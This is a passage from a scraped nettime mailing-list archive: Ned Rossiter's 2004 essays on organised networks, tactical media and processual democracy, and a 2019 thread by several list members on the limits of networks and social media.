\nintellectual transdisciplinarity filtered - at least in the case of \nfibreculture - through a void created by established institutions \nwithin the cultural industries and higher education sector.\n\nTake the case of fibreculture.  In many ways the fibreculture network \nis quite centralised: list facilitators, journal editors, book series \neditors, website management, conference organisers, etc.  Hierarchies \nprevail.  The facilitator's group has endeavoured to make the \nstructure of the network as transparent and public as possible.  Even \nso, the list is not privy to most of what is discussed in these \nvarious \"backrooms\".  And to a large extent, that has to be accepted \n- trust has to be assumed - if the network is to develop in the way \nthat it has.  So, a degree of centralisation and hierarchisation \nseems essential for a network to be characterised as organised.  Can \nthe network thus be characterised as an \"institution\", or might it \nneed to acquire additional qualities?  Is institutional status even \ndesirable for a network that aspires to intervene in debates on \ncritical Internet research and culture?  How does an organised \nnetwork help us redefine our understanding of what an institution \nmight become?\n\nOne of the key challenges that networks such as fibreculture present \nis the possibility of new institutional formations that want to make \na political, social and cultural difference within the \nsocio-technical logic of networks.  It's not clear what shape these \ninstitutions will take, but we get a sense of what they might be in \ncases like fiberculture and Sarai.  To fall back into the crumbling \nsecurity of traditional, established institutions is not an option. \nThe network logic is increasingly the normative mode of organising \nsocio-technical relations in advanced economies, and this impacts \nupon both the urban and rural poor within those countries as well as \nthose in economically developing countries.  So, the traditional \ninstitution is hardly a place of escape for those wishing to hide \nfrom the logic of networks.\n\nIt's important to distinguish the organised network as a new \ninstitutional form from traditional institutions that have become \nnetworked through their use of new ICTs.  As Lovink and Schneider \n(2004) have recently noted, the maintenance of hierarchical forms of \npower within hegemonic networked institutions 'is part of a larger \nprocess of \"normalization\" in which networks are integrated in \nexisting management styles and institutional rituals'.  Traditional \ninstitutional forms - corporations, cultural industries, and the \nhigher eductation sector - are increasingly appropriating many of the \ntechnics of tactical media: you can have your p2p experience (but at \na price!) and who isn't advocating the merits of open source?  Think \nIBM and opensource.mit.edu.  There's a distinct whiff of new age \nrefashioning in many of these projects as they seek to recapture a \n\"spirit\" of sharing and experiences of collaboration - the kinds of \nthings that were swept into the dustbin in the hard-nosed culture of \nunit-driven corporatism.  Ultimately, the networked organisation is \ndistinguished by its standing reserve of capital and its exploitation \nof labour-power.  Such institutions are motivated by the need to \norganise social relations in the hope of maximising \"creativity\" and \nregenerating the design of commodity forms that have long reached \nmarket saturation.  It'll be interesting to see the extent to which \nthe Creative Commons license is adopted by big business - I'm \nguessing it'll create a suitable amount of havoc, enabling service \nvariation and consolidate an even brighter future for the legal \nsector.\n\nBy contrast, the kind of emergent organised networks that I'm \nreferring to are notable for the ways in which information flows and \nsocio-technical relations are organised around site specific projects \nthat place an emphasis on process as the condition for outcomes.  The \nneeds, interests and problems of the organised network coincide with \nits emergence as a sociotechnical form, whereas the traditional \nmodern institution has become networked in an attempt to recast \nitself whilst retaining its basic infrastructure, clunky as it is. \nStrangely enough the culture of neoliberalism conditions the \nemergence of the organised network.  The logic of outsourcing has \ndemonstrated that the state still requires institutions to service \nsociety.  Scale and cost were the two key objections econorats and \nservants to neoliberalism objected to.  Forget about ideology.  These \nbureaucrats are highly neurotic, obsessive-compulsive types.  They \nhate any trace of disorder and inefficiency, and the welfare state \nembodied such irritations.  The organised network can take advantage \nof such instituted pathologies by becoming an educational \"service \nprovider\", for instance.  The key is to work out what values you have \nthat distinquish your network from the MIT model.  The other factor \nis to work out a plan for sustainability - a clear lesson from the \ndotcom era.\n\nAs Phil Agre (2002) has noted, 'Institutions persist in part because \nof the bodies of skill that have built up within them'.  This idea of \ninstitutions as accumulations of skills strikes me as a perfect way \nof describing what goes on within organised networks such as \nfibreculture and sarai.  Yet why do so many networks fail to persist? \nWhat does it take for a network to become sustainable as an organised \nform?  What's the 5 year business plan going to look like?  And how \nmight it do this without sliding in to 'bureaucratic sclerosis', as \nGenosko puts it.  Lovink and Schneider (2004) suggest that a large \nreason for the transience of networks has to do with the factors of \ninformation overload, inadequate software and interface solutions, \nand socio-cultural impasses in online communication.\n\nTo this I would add the need for networks to address situated \nproblems if they are to develop into an organised form.  I'm not \nspeaking of flamewars on mailing lists or people who don't express \nthemselves in the correct lingua franca of a particular list - these \nare features of pretty much every mailing list with a substantial \nnumber of subscribers who have a bit of life in them.  Rather, I'm \ntalking about problems associated with undertaking projects that \nrequire an organised response in order to realise activities such as \nconferences, publishing in different formats and platforms, \neducational workshops and training, accredited provision of \neducational packages to the traditional education sector, new media \nart exhibitions, software development, online translation of foreign \nlanguage books, etc.  Networks like nettime used to do some of these \nkind of things in the past, but it seems that eventually their size \nput an end to that.  This doesn't mean individual subscribers to \nnettime don't get together and organise things (they frequently do \nthis!), but it does mean that the \"brand\" of nettime is no longer a \ncontinuum of relations beyond list culture.  Scale, in the case of \nnettime, has been the impasse to organisation.\n\n\nConclusion\n\nIn order for tactical media and list cultures to organise as networks \nthat have multiple institutional capacities, there has to be - first \nand foremost - a will, passion and commitment to invention.  There \nhas to be a desire for socio-technical change and transformation. \nAnd there needs to be a curiosity and instinct for survival to shift \nfinance capital to places, people, networks and activities that \nhitherto have been invisible.  The combination of these forces \nmobilises information in ways that hold an ethico-aesthetic capacity \nto create new institutional forms that persist over time and address \nthe spectrum of socio-political antagonisms of information societies \nin a situated fashion.\n\n\nNotes\n\n1 See Agre (2003) for a brief genealogy of the term social capital. \nSee Tronti (1973) for an Autonomist deployment of the term.\n\n2 For a personal history of tactical media, see Geert Lovink's 'An \nInsider's Guide to Tactical Media' in Dark Fiber (2002: 254-274).\n\n3 For developed accounts of these various tactical media campaigns, \nsee Lovink (2002) and Meikle (2002).  See also Angela Mitropoulous' \ndocumentation at http://woomera2002.com and \nhttp://antimedia.net/xborder.\n\n\nReferences\n\nAgre, Phillip E. (2002) 'Real-Time Politics: The Internet and the \nPolitical Process', The Information Society 18.5: 311-331. \nQuotations are from the online version: \nhttp://polaris.gseis.ucla.edu/pagre/real-time.html\n\nAgre, Phillip E. (2003) 'The Practical Republic: Social Skills and \nthe Progress of Citizenship', version 18 May, \nhttp://polaris.gseis.ucla.edu/pagre/republic.html\n\nBecker, Konrad (2002) Tactical Reality Dictionary: Cultural \nIntelligence and Social Control, Vienna: Edition Selene.\n\nBerry, Josephine (2000) '\"Another Orwellian Misnomer\"? Tactical Art \nin Virtual Space', posting to nettime mailing list, 13 September, \nhttp://www.nettime.org\n\nBey, Hakim (1991) TAZ: The Temporary Autonomous Zone, Ontological \nAnarchy, Poetic Terrorism, New York: Autonomedia.\n\nBourdieu, Pierre (1996) The State Nobility: Elite Schools in the \nField of Power, trans. Lauretta C. Clough, Stanford, Cal.: Stanford \nUniversity Press.\n\nBrown, Steven D. (2002) 'Michel Serres: Science, Translation and the \nLogic of the Parasite', Theory, Culture & Society 19.3: 1-27.\n\nCooper, Simon (2002) 'Post Intellectuality?: Universities and the \nKnowledge Industry', in Simon Cooper, John Hinkson and Geoff Sharp \n(eds) Scholars and Entrepreneurs: the University in Crisis, Fitzroy: \nArena Publications, pp. 207-232.\n\nDer Derian, James (2001) Virtuous War: Mapping the \nMilitary-Industrial-Media-Entertainment Network, Boulder, CO: \nWestview Press.\n\nDe Landa, Manuel (1991) War in the Age of Intelligent Machines, New \nYork: Zone Books.\n\nFibreculture, http://www.fibreculture.org\n\nFlew, Terry (2002) New Media: An Introduction, Oxford: Oxford University Press.\n\nGarcia, David and Lovink, Geert (1997) 'The ABC of Tactical Media', \nposting to nettime mailing list, 16 May, http://www.nettime.org\n\nGenosko, Gary (2003) 'F\u00e9lix Guattari: Towards a Transdisciplinary \nMetamethodology', Angelaki 8.1: 29-140.\n\nGiddens, Anthony (1998) The Third Way: the Renewal of Social \nDemocracy, Cambridge: Polity Press.\n\nLatham, Mark (2001) What did you Learn Today? Creating an Education \nRevolution, Crows Nest: Allen & Unwin.\n\nLovink, Geert (2003) My First Recession: Critical Internet Culture in \nTransition, Rotterdam: V2_/NAi Publishers.\n\nLovink, Geert and Schneider, Florian (2002) 'A Virtual World is \nPossible: From Tactical Media to Digital Multitudes', posting to \nnettime mailing list, 1 November, http://www.nettime.org\n\nLovink, Geert and Schneider, Florian (2004) 'Notes on the State of \nNetworking', posting to Nettime mailing list, 29 February, \nhttp://www.nettime.org.  See also Make World #4, \nhttp://www.makeworlds.org\n\nMackenzie, Adrian (2002) Transductions: Bodies and Machines at Speed, \nNew York: Continuum.\n\nMarginson, Simon and Considine, Mark (2000) The Enterprise \nUniversity: Power, Governance and Reinvention in Australia, \nCambridge: Cambridge University Press.\n\nMatterlart, Armand and Mattelart, Michelle (1992) Rethinking Media \nTheory, trans. James A. Cohen and Marina Urquidi, Minneapolis: \nUniversity of Minnesota Press.\n\nMay, Christopher (2002) The Information Society: A Sceptical View, \nCambridge: Polity.\n\nMeikle, Graham (2002) Future Active: Media Activism and the Internet, \nSydney: Pluto Press.\n\nMurphie, Andrew (in press 2004) 'The World as Clock: The Network \nSociety and Experimental Ecologies', Topia: Canadian Journal of \nCultural Studies 11 (Spring).\n\nNettime, http://www.nettime.org\n\nNext 5 Minutes 4 Festival of Tactical Media, 11 September, 2002 - 14 \nSeptember, 2003, http://www.n5m4.org\n\nRichardson, Joanne (2002) 'The Language of Tactical Media', posting \nto nettime mailing list, 3 July, http://www.nettime.org\n\nRossiter, Ned (2003a). 'Processual Media Theory', symploke 11.1/2, \npp. 104-131.  For further information, see: http://www.symploke.org/\n\nRossiter, Ned (2003b). 'Report: Creative Labour and the role of \nIntellectual Property', Fibreculture Journal 1, \nhttp://journal.fibreculture.org/issue1/issue1_rossiter.html\n\nRossiter, Ned (in press 2004) 'Creative Industries, Comparative Media \nTheory, and the Limits of Critique from Within', Topia: Canadian \nJournal of Cultural Studies 11 (Spring).\n\nSarai, http://www.sarai.net\n\nSchiller, Dan (1999) Digital Capitalism: Networking the Global Market \nSystem, Cambridge, Mass.: MIT Press.\n\nSchivelbusch, Wolfgang (1977) The Railway Journey: The \nIndustrialization of Time and Space in the 19th Century, Leamington \nSpa: Berg.\n\nTronti, Mario (1977) 'Social Capital', Telos 17: 98-121.\n\nvan Dijk, Jan (1999) The Network Society: Social Aspects of New \nMedia, trans. Leontine Spoorenberg, London: Sage.\n\nWark, McKenzie (1994) Virtual Geography: Living With Global Media \nEvents, Indianapolis: Indiana University Press.\n\nWark, McKenzie (1997) 'Antipodality', Angelaki 2.3: 17-27.\n\nWark, McKenzie (2002) 'Re: From Tactical Media to Digital \nMultitudes', posting to nettime mailing list, 2 November, \nhttp://www.nettime.org.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 22 Apr 2004 14:19:59 +0100",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "200404221340.i3MDe6f30578 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0404/msg00034.html",
                "list": "nettime_l",
                "author_name": "Ned Rossiter",
                "subject": "<nettime> Organised Networks"
            },
            {
                "content-type": "text/plai",
                "from": "Ned Rossiter <n.rossiter {AT} ulster.ac.uk>",
                "id": "00043",
                "content": "\n\nThe Italian Effect: Radical Thought, Biopolitics and Cultural Subversion\nSydney University, September 9-11, 2004.\nhttp://www.arts.usyd.edu.au/departs/rihss/italianeffect.html\n\n\nNed Rossiter\n\n'Virtuosity, Processual Democracy and Organised Networks' [short version]\n\nI am a Stalinist - everyone should do as I say and think; I have no\nidea what I am - I don't exist... The contradiction between these two\nstatements signals a tension between identity politics and the\npolitics of desubjectification.  Identity operates within a regime of\ncoding; desubjectification is a process of subjectivisation and\ntransversality in which 'relations are external to their terms'\n(Deleuze-Hume).  There is nothing intrinsic about the relationship\nbetween the object, subject or thing that determines some essential\nattribute or identity.  The identity of the Stalinist emerges from a\nmilieu of radical contingencies.  The Stalinist is thus a\npotentiality that subsists within the plane of immanence.  The logic\nof coding is part and parcel of the unforseen capacities that define\nthe externality of immanence.\n\nThe relationship between the overcoded subject and the process of\ndesubjectivisation is one of movement. The movement between the two\ncomprises the force of processuality, and a politics of contingency\nand potentiality.  Stalinist subjects are everywhere -  we are all\nStalinists, and we also don't exist.  The force of relations external\nto their terms operate in a manner that continuously destabilises the\nauthoritarianism of the Stalinist subject.  The process of\ndesubjectification corresponds with the plane of immanence.  This is\nthe common from which exodus, flight, and exit subsist as\npotentialities - potentialities that can also be found in the\nco-operation that is common to the surplus value of labour-power. The\nanalysis of these relations is a practice of radical empiricism.\n\nSurplus value is based on excess - an excess of labour-power.  With a\nsurplus of labour-power (unemployment), the cost of production\ndecreases, profit rises.  Labour-power, however, is predicated on\nco-operation, and herein lies the potential for transformation, since\nco-operation subsists in the plane of immanence, the common.  The\ncapacity for the articulation of other values, and the mobilisation\nof other affects is immanent to the surplus value of labour-power.\nSurplus value can also be understood as an individuation transduced\nfrom the pre-individuality of co-operation, of the \"general\nintellect\".  This is what Negri (2004) identifies as the 'ontology of\nthe multitudes'.  The co-operation peculiar to the surplus value of\nlabour-power grants what Hardt and Negri identify, and had previously\ndismissed, as the class dimension to the emergent socio-technical\nform of the multitudes, since exploitation conditions the possibility\nof co-operation (Hardt and Negri, 2004; Negri, 2004).\n\nThrough techniques of co-operation, collaboration and a distribution\nof capacities, the multitudes are showing signs of becoming\norganised.  The problems of scale and sustainability are being\naddressed.  The at times self-valorising movements of \"tactical\nmedia\" are beginning to adopt a strategic outlook on how to situate\ntheir activities within socio-technical systems in more secure ways.\nIndeed, the organised network is composing itself as a new\ninstitutional form.  This transformation is not something to be\nsuspicious of.  There is no return here to institutions that\nsubordinate what Paolo Virno calls the \"pure potential\" of\nlabour-power to the conformist unity of \"effective labour\", \"the\npeople\" or \"the citizen\".  Institutions (coded formations) consist of\npractices and affects, techniques and sensations.  Institutions\nemerge within the interplay between the plane of immanence and the\nplan of organisation.  Within the  co-operation common to surplus\nvalue's exploitation of labour-power resides the potential for new\nrelations, new institutions, new socialities.\n\nThe organised network is a potentiality coextensive with the process\nof becoming instituted.  Virtuosity, as the absence of an \"extrinsic\nproduct\" (Virno, 2004: 52), institutes the political potential of\norganised networks.  The virtuosos 'activity without an end product'\nis at once ordinary and exceptional: ordinary in the sense that 'the\naffinity between a pianist and a waiter', as anticipated by Marx,\ncomprises the common of wage labour insofar as 'the product is\ninseparable from the act of producing' (68); exceptional in the sense\nof the potential that subsists within performances with no\nend-product holds the capacity of individuation - of transformation\nof the common - into singularities with their own distinct universes\nof sensibility, logics of sensation, regimes of codification.\n\nVirno suggests that the communicative performance of the multitudes\nconstitutes 'the feasibility of a *non-representational democracy*'\n(2004: 79).  Virno is elusive when it comes to developing that\nproposition.  A non- or post-representational democracy is one that\nno longer operates within the constitutive framework of the nation-state\nand its associated institutions and civil society organisations.\nThis is something Mouffe's (2000) \"agonistic democracy\" is not able\nto confront.  While Mouffe correctly wishes to go beyond rational\nconsensus, deliberative models of liberal democracy, her proposition\nthat agonistic democracies negotiate the antagonisms that underpin\nsociality is nevertheless one that is predicated on the maintenance\nof the state as a modern complex of institutions.  Mouffe has not made\nthe passage into the post-Fordist state and its connection with\ncapital's flexible modes of production and accumulation.  The\ninformatisation of social relations is nowhere to be found in\nMouffe's thesis on agonistic democracy.  As such, Mouffe is unable to\ndescribe the new modes of sociality, labour, and politics as they are\norganised within network societies and information economies.  Even\nso, her notion of an agonistic democracy - like Virno's\nnon-representational democracy - can be retained, but only, I would\nsuggest, when they are recast in terms of what I call a *processual\ndemocracy*.\n\n=46irst of all, the potential of processual democracies are underpinned\nby the informatisation of social relations.  Franco \"Bifo\" Beradi's\nmodel of the Infosphere and the Psychosphere is a useful one to\ndescribe the complex settings within which new polities may emerge.\nBifo's conception of the Infosphere as a technical, digital coding of\ndata whose unilinear flows \"intermingle\" with the unstable,\nrecombinatory filter of the Psychosphere is, however, only partially\nright.  The Infosphere is of course much more complex.  Think of the\nuneven geography of information, the political economy of root\nservers and domain names, the competing interests surrounding\nInternet governance debates and policy making, etc.  The Infosphere\nthus not only \"intermingles\" with the Psychosphere, it is inseparable\nfrom it: put it in different terms, the Real is always inscribed or\npresent within the Symbolic as an antagonism or trauma.  The\nInfosphere is shaped by background noise, which Serres defines as the\n'absence of code'.  Processuality - the relationship between coding\nand conditions of possibility - incorporates background noise as a\nconstitutive outside.\n\nOrganised networks, as they subsist within the material and\nimmaterial dimensions of new communications media such as the\nInternet, activate the possibility of processual democracy.  Such a\npolitical formation de-ontologises the media of communication,\ncreating media-information systems that are conditioned by the\nempirics, labour and affects of \"trans-individual collectives\"\n(Deleuze, 2004: 89).  A processual democracy is one that unleashes\nthe unforseen potential of affects as they resonate from the common\nof labour-power.  A processual democracy is one that goes beyond the\nstate-civil society relation. That relation is one that no longer\nexists.  Processual democracies necessarily involve institutions,\nsince institutions function to organise social relations.\n\nProcessual democracies also continue to negotiate the ineradicability\nof antagonisms.  Their difference lies in the affirmation of values\nthat are internal to the formation of new socialities, new technics\nof relations.  Certainly, they go beyond the limits of resistance and\nopposition - the primary activity of tactical media and the\n\"anti-corporatisation\" movements.  This is not to dispense with\ntactics of resistance and opposition.  Indeed, such activities have\nin many ways shaped the emergence of civil society values into the\ndomain of supranational institutions and governance, as witnessed in\nthe recent WSIS debates. A radical adaptation of the rules of the\ngame is a helpful way of thinking the strategic dimension of\nprocessual democracies.\n\nUltimately, what is at stake is the ethico-aesthetic potential of the\nmultitudes to engage with the antagonistic foundations of \"the\npolitical\".  A processual democracy institutes a socio-technical\nnetwork with the capacity to create conditions that sustain needs,\ninterests and passions.\n\n\n\nReferences\n\nDeleuze, Gilles (2004) 'On Gilbert Simondon', in Desert Islands and\nOther Texts, 1953-1974, trans. Michael Taormina, ed. David Lapoujade,\nNew York: Semiotext(e), pp. 86-89.\n\nHardt, Michael and Negri, Antonio (2004) Multitude: War and Democracy\nin the Age of Empire, New York: Penguin Press.\n\nMouffe, Chantal (2000) The Democratic Paradox, London: Verso.\n\nNegri, Antonio (2004) 'Towards an Ontological Definition of the\nMultitudes', trans. Arianna Bove, Makeworlds Paper #4,\nhttp://www/makeworlds.org/book/view/104.\n\nVirno, Paolo (2004) A Grammar of the Multitude, trans. James Cascaito\nIsabella Bertoletti, and Andrea Casson, forward by Sylv=E8re Lotringer,\nNew York: Semiotext(e).\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 28 Sep 2004 23:58:12 +1000",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "E1CCL94&#45;00063D&#45;HL {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0409/msg00043.html",
                "list": "nettime_l",
                "author_name": "Ned Rossiter",
                "subject": "<nettime> Virtuosity, Processual Democracy and Organised Networks"
            },
            {
                "id": "00000",
                "content": "Dear all,\n\nMaybe I can take the opportunity to plug in to the running discussions\nby shamelessly plugging the announcement of the next transmediale\nfestival which aims to deal exactly with the topics of networks, as it\nappeared here as a recurring common concern.\nhttps://2020.transmediale.de/festival-2020\n\nI think its quite interesting how the thread on nettime being in a bad\nshape and the one Rachel O' Dwyer started on net-art is converging\naround questions that have to do with how the limits of networks have\nbecome more tangible today, technically as well as in the form of\n\"network idealism\".\n\nMolly Hankwitz wrote:\n\n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n>\n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n\nRachel:\n\n> Can we still speak about ?tactical media? or ?the exploit?, and if not is\n> this because\n>\n> a) network activism has transformed so that these older descriptions no\n> longer accurately describe net art and ?hacktivist? practices, or\n>\n> b) these art practices have stayed much the same, but they are no longer\n> effective in the current political and economic context?\n\nI would not agree with David Garcia that these meta-discussions is a\nsign of the decline of nettime however, rather that the discussion of\nnetworked forms seems to be returning at the moment, maybe especially\nalso on a list like nettime, because it seems as if it disappeared from\nthe big \"digitalisation\" debates that are now anyway everywhere. (except\nfor the breaking up of THE social network) Meanwhile, users are\nreturning to smaller networked forms in the form of the fediverse or in\nother intimate constellations taking their cue from safe spaces and\nintersectional practices online, offline or rather in between. Maybe we\nneed new ways of modeling networks also beyond the canonical Baran\ndiagram of centralized, decentralized and distributed, along with\nnodocentric visualizations that have been so prevalent from the 1990's\nand basically up until today?\n\nbest,\n\nKristoffer\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                "to": "nettime-l@mail.kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00000.html",
                "list": "nettime_l",
                "author_name": "Kristoffer Gansing",
                "subject": "<nettime> limits of networks...",
                "from": "Kristoffer Gansing <kg@transmediale.de>",
                "follow-up": [
                    {
                        "from": "David Garcia <d.garcia@new-tactical-research.co.uk>",
                        "content": "On 1 Jul 2019, at 15:24, Kristoffer Gansing <kg@transmediale.de> wrote:discussion ofnetworked forms seems to be returning at the moment, maybe especiallyalso on a list like nettime, because it seems as if it disappeared fromthe big \"digitalisation\" debates that are now anyway everywhere. (exceptfor the breaking up of THE social network) Meanwhile, users arereturning to smaller networked forms in the form of the fediverse or inother intimate constellations taking their cue from safe spaces andintersectional practices online, offline or rather in between.Exciting that the next Transmedialle will look at the re-emergence of discussions of\n\n\u201cnetworked forms\u201d which I suppose would include a reassesment of the sociological concept\n\nof the \u201cnetwork society\u201d at the point when there is a strong movement away from the Castells\u2019\n\ndepiction of the net as a \u201cuniversal space\u201d. This was always a vision that flew in the face of many\n\nhighly situated socio/political movements for whom there is no such thing as any universal categories,principles, or experiences.\n\nDoes recuperating \"autonomous zones\" and \"safe spaces\u201d of smaller networks represent effective\n\nresistence to the new technological formalism of big tech\u2019s computational social scientists? Or does it\n\nsimply highlight the fact that the twin ideals of\n\nautonomy and participation that were once seen as not\n\nonly related but actually entailing one another have proved themselves to be all to frequently\n\nincomensurable as to be a participant is always to be enrolled in some kind of infrastructure ?#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00006",
                        "date": "Tue, 2 Jul 2019 11:24:16 +0100",
                        "to": "Kristoffer Gansing <kg@transmediale.de>, Nettime <nettime-l@mail.kein.org>",
                        "message-id": "70899208&#45;A763&#45;4D91&#45;A361&#45;3CE61E5789FE@new&#45;tactical&#45;research.co.uk",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00006.html",
                        "content-type": "multipart/mixed",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> limits of networks..."
                    },
                    {
                        "from": "Cinegraphic <cinegraphic@gmail.com>",
                        "content": "I don't usually comment, but the issue of networks vs social media is of personal interest. So much if the web is a commercialization of what were originally publuc, open spaces, now rdndered as private property. A parallel could be drawn to the enclosure movement. What lurks in the background is the commercialization of human action and association, not jyst the \"maker movement,\" but all of social relationships. This is the real issue, even surveillance/agnotogy is just symptomatic.\n\nIt's striking how these dynamics emerge, create responses and then commercially assimilate them. This valorization seems to me to be the structural driver that's cresting the current discontent.\n\n\n\n> On Jul 1, 2019, at 10:24 AM, Kristoffer Gansing <kg@transmediale.de> wrote:\n> \n> Dear all,\n> \n> Maybe I can take the opportunity to plug in to the running discussions\n> by shamelessly plugging the announcement of the next transmediale\n> festival which aims to deal exactly with the topics of networks, as it\n> appeared here as a recurring common concern.\n> https://2020.transmediale.de/festival-2020\n> \n> I think its quite interesting how the thread on nettime being in a bad\n> shape and the one Rachel O' Dwyer started on net-art is converging\n> around questions that have to do with how the limits of networks have\n> become more tangible today, technically as well as in the form of\n> \"network idealism\".\n> \n> Molly Hankwitz wrote:\n> \n>> The question comes up more and more - where is the whole idea of networks\n>> that was once? Answer: sorry, social media has everyone blissed out on\n>> their own screen.\n>> \n>> The great debates that enlivened networks of the 90s, have become muddled\n>> to the point that \"networks\" per se don't seem to carry much weight online\n>> - now its the app, its the website - which don't always reflect a living\n>> community of net-users as we know...or maybe we are imagining networks\n>> differently than before and that does not help. Common interests which\n>> drove the formulation of networks and network 'flows' seem to have been\n>> replaced by something else. Who is the we of any network now...\n> \n> Rachel:\n> \n>> Can we still speak about ?tactical media? or ?the exploit?, and if not is\n>> this because\n>> \n>> a) network activism has transformed so that these older descriptions no\n>> longer accurately describe net art and ?hacktivist? practices, or\n>> \n>> b) these art practices have stayed much the same, but they are no longer\n>> effective in the current political and economic context?\n> \n> I would not agree with David Garcia that these meta-discussions is a\n> sign of the decline of nettime however, rather that the discussion of\n> networked forms seems to be returning at the moment, maybe especially\n> also on a list like nettime, because it seems as if it disappeared from\n> the big \"digitalisation\" debates that are now anyway everywhere. (except\n> for the breaking up of THE social network) Meanwhile, users are\n> returning to smaller networked forms in the form of the fediverse or in\n> other intimate constellations taking their cue from safe spaces and\n> intersectional practices online, offline or rather in between. Maybe we\n> need new ways of modeling networks also beyond the canonical Baran\n> diagram of centralized, decentralized and distributed, along with\n> nodocentric visualizations that have been so prevalent from the 1990's\n> and basically up until today?\n> \n> best,\n> \n> Kristoffer\n> \n> \n> \n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                        "id": "00009",
                        "date": "Mon, 1 Jul 2019 11:13:58 -0400",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "02EC2798&#45;7B94&#45;4B45&#45;A564&#45;7566E0A9AA96@gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00009.html",
                        "content-type": "text/plai",
                        "author_name": "Cinegraphic",
                        "subject": "Re: <nettime> limits of networks..."
                    },
                    {
                        "follow-up": [
                            {
                                "from": "\"Rachel O' Dwyer\" <rachel.odwyer@gmail.com>",
                                "content": "Thank you Molly!I will post later a link to Haraway interview where she talks about making networks now\n\nPlease do!ROn Wed, Jul 3, 2019 at 11:14 AM Molly Hankwitz <mollyhankwitz@gmail.com> wrote:Dear Kristoffer, et al,\n\nYes, you have hit on it for me...<Maybe weneed new ways of modeling networks also beyond the canonical Barandiagram of centralized, decentralized and distributed, along withnodocentric visualizations that have been so prevalent from the 1990'sand basically up until today?>Very important - as it is not the tools per se or the platform, but now, possibly new contexts in which even tactical media or \u201ccommunity-based\u201d networks occur, which utilize varied tools.\n\nI have been doing both artistic/curatorial research and community-based work with non-profits around these overlaps. With waterwheel.net, a team of 30 curators programmer online performance and events for a week with 120 artists from all over the world. This project, the brainchild of Suzanne Fuks and James Cunningham, utilized popular online tools such as Skype and Facebook and email - along with a custom designed media archive and online performance space. Suzanne kept this network in close connection for 3 years. We integrated our work remotely with the Balance/Unbalance festival at Arizona State. For me, this project about water and art was, in addition to the art, ingenious for a) it\u2019s utilization without apology of everyday social media b) it\u2019s capavity to connect in person and online via online performance space - for conferences/panels such that we all actually \u201csaw\u201d and \u201cmet\u201d and heard each other. I am still connected to many of the artists I worked with!\n\nLocal \u201ccampaigns\u201d, for instance, for safe walking streets - from senior citizen groups - use Twitter, FB, etc and more to \u201cnetwork\u201d \u2014while neither art nor sophisticated, these campaigns do represent living communities with \u201cinterest in common\u201d - condition of the old online communities AND, importantly, blur distinctions between virtual spaces and \u201creal\u201d spaces.\n\nThe latter point may seem crude, but it\u2019s possible that social networks such as these are an historical advancement on communities which put the network before the flesh meet, or never had a flesh meet and died OR never had the \u201creal\u201d profile pic at least to color and pepper the imagination.\n\nI\u2019m no fan of Facebook per se...but it\u2019s not FB alone, but a helpful feature of FB to have visuals...So talking theory...I throw this bone...with bandwidth depletion out of the way and compression technologies vastly superior, network practices have been able to better color-in their members...add more graphics...enrich and make robust vision of community. This may be an important development in network practice and one to assist radical practice...as well as a reason why we are occasionally depleted by text-only communication.\n\nI will post later a link to Haraway interview where she talks about making networks now\n\nMolly\n\nOn Mon, Jul 1, 2019 at 7:25 AM Kristoffer Gansing <kg@transmediale.de> wrote:Dear all,\n\nMaybe I can take the opportunity to plug in to the running discussions\nby shamelessly plugging the announcement of the next transmediale\nfestival which aims to deal exactly with the topics of networks, as it\nappeared here as a recurring common concern.\nhttps://2020.transmediale.de/festival-2020\n\nI think its quite interesting how the thread on nettime being in a bad\nshape and the one Rachel O' Dwyer started on net-art is converging\naround questions that have to do with how the limits of networks have\nbecome more tangible today, technically as well as in the form of\n\"network idealism\".\n\nMolly Hankwitz 